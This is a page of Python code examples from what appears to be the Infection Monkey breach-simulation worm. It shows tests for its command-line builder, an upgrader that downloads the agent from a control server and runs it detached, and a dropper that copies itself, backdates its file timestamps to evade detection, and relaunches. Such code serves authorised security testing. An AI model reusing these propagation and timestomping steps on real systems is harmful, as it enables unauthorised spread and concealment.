Exemplo n.º 1
0
def test_build_monkey_commandline_explicitly_depth_condition_greater():
    expected = [
        "-d",
        "50",
    ]
    actual = build_monkey_commandline_explicitly(depth=50)

    assert expected == actual
Exemplo n.º 2
0
def test_build_monkey_commandline_explicitly_arguments():
    expected = [
        "-p",
        "101010",
        "-t",
        "10.10.101.10",
        "-s",
        "127.127.127.127:5000",
        "-d",
        "0",
        "-l",
        "C:\\windows\\abc",
        "-vp",
        "80",
    ]
    actual = build_monkey_commandline_explicitly("101010", "10.10.101.10",
                                                 "127.127.127.127:5000", 0,
                                                 "C:\\windows\\abc", "80")

    assert expected == actual
Exemplo n.º 3
0
    def upgrade(opts):
        try:
            monkey_64_path = ControlClient.download_monkey_exe_by_os(True, False)
            with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file:
                with open(
                    WormConfiguration.dropper_target_path_win_64, "wb"
                ) as written_monkey_file:
                    shutil.copyfileobj(downloaded_monkey_file, written_monkey_file)
        except (IOError, AttributeError) as e:
            logger.error("Failed to download the Monkey to the target path: %s." % e)
            return

        monkey_options = build_monkey_commandline_explicitly(
            opts.parent, opts.tunnel, opts.server, opts.depth
        )

        monkey_cmdline = get_monkey_commandline_windows(
            WormConfiguration.dropper_target_path_win_64, monkey_options
        )

        monkey_process = subprocess.Popen(
            monkey_cmdline,
            stdin=None,
            stdout=None,
            stderr=None,
            close_fds=True,
            creationflags=DETACHED_PROCESS,
        )

        logger.info(
            "Executed 64bit monkey process (PID=%d) with command line: %s",
            monkey_process.pid,
            " ".join(monkey_cmdline),
        )

        time.sleep(WindowsUpgrader.__UPGRADE_WAIT_TIME__)
        if monkey_process.poll() is not None:
            logger.error("Seems like monkey died too soon")
Exemplo n.º 4
0
    def start(self):
        if self._config["destination_path"] is None:
            LOG.error("No destination path specified")
            return False

        # we copy/move only in case path is different
        try:
            file_moved = filecmp.cmp(self._config["source_path"],
                                     self._config["destination_path"])
        except OSError:
            file_moved = False

        if not file_moved and os.path.exists(self._config["destination_path"]):
            os.remove(self._config["destination_path"])

        # first try to move the file
        if not file_moved and WormConfiguration.dropper_try_move_first:
            try:
                shutil.move(self._config["source_path"],
                            self._config["destination_path"])

                LOG.info(
                    "Moved source file '%s' into '%s'",
                    self._config["source_path"],
                    self._config["destination_path"],
                )

                file_moved = True
            except (WindowsError, IOError, OSError) as exc:
                LOG.debug(
                    "Error moving source file '%s' into '%s': %s",
                    self._config["source_path"],
                    self._config["destination_path"],
                    exc,
                )

        # if file still need to change path, copy it
        if not file_moved:
            try:
                shutil.copy(self._config["source_path"],
                            self._config["destination_path"])

                LOG.info(
                    "Copied source file '%s' into '%s'",
                    self._config["source_path"],
                    self._config["destination_path"],
                )
            except (WindowsError, IOError, OSError) as exc:
                LOG.error(
                    "Error copying source file '%s' into '%s': %s",
                    self._config["source_path"],
                    self._config["destination_path"],
                    exc,
                )

                return False

        if WormConfiguration.dropper_set_date:
            if sys.platform == "win32":
                dropper_date_reference_path = os.path.expandvars(
                    WormConfiguration.dropper_date_reference_path_windows)
            else:
                dropper_date_reference_path = WormConfiguration.dropper_date_reference_path_linux
            try:
                ref_stat = os.stat(dropper_date_reference_path)
            except OSError:
                LOG.warning(
                    "Cannot set reference date using '%s', file not found",
                    dropper_date_reference_path,
                )
            else:
                try:
                    os.utime(self._config["destination_path"],
                             (ref_stat.st_atime, ref_stat.st_mtime))
                except OSError:
                    LOG.warning(
                        "Cannot set reference date to destination file")

        monkey_options = build_monkey_commandline_explicitly(
            parent=self.opts.parent,
            tunnel=self.opts.tunnel,
            server=self.opts.server,
            depth=self.opts.depth,
            location=None,
            vulnerable_port=self.opts.vulnerable_port,
        )

        if OperatingSystem.Windows == SystemInfoCollector.get_os():
            monkey_commandline = get_monkey_commandline_windows(
                self._config["destination_path"], monkey_options)

            monkey_process = subprocess.Popen(
                monkey_commandline,
                stdin=subprocess.PIPE,
                stdout=subprocess.PIPE,
                stderr=subprocess.PIPE,
                close_fds=True,
                creationflags=DETACHED_PROCESS,
            )
        else:
            dest_path = self._config["destination_path"]
            # In Linux, we need to change the directory first, which is done
            # using thw `cwd` argument in `subprocess.Popen` below

            monkey_commandline = get_monkey_commandline_linux(
                dest_path, monkey_options)

            monkey_process = subprocess.Popen(
                monkey_commandline,
                stdin=subprocess.PIPE,
                stdout=subprocess.PIPE,
                stderr=subprocess.PIPE,
                close_fds=True,
                cwd="/".join(dest_path.split("/")[0:-1]),
                creationflags=DETACHED_PROCESS,
            )

        LOG.info(
            "Executed monkey process (PID=%d) with command line: %s",
            monkey_process.pid,
            " ".join(monkey_commandline),
        )

        time.sleep(3)
        if monkey_process.poll() is not None:
            LOG.warning("Seems like monkey died too soon")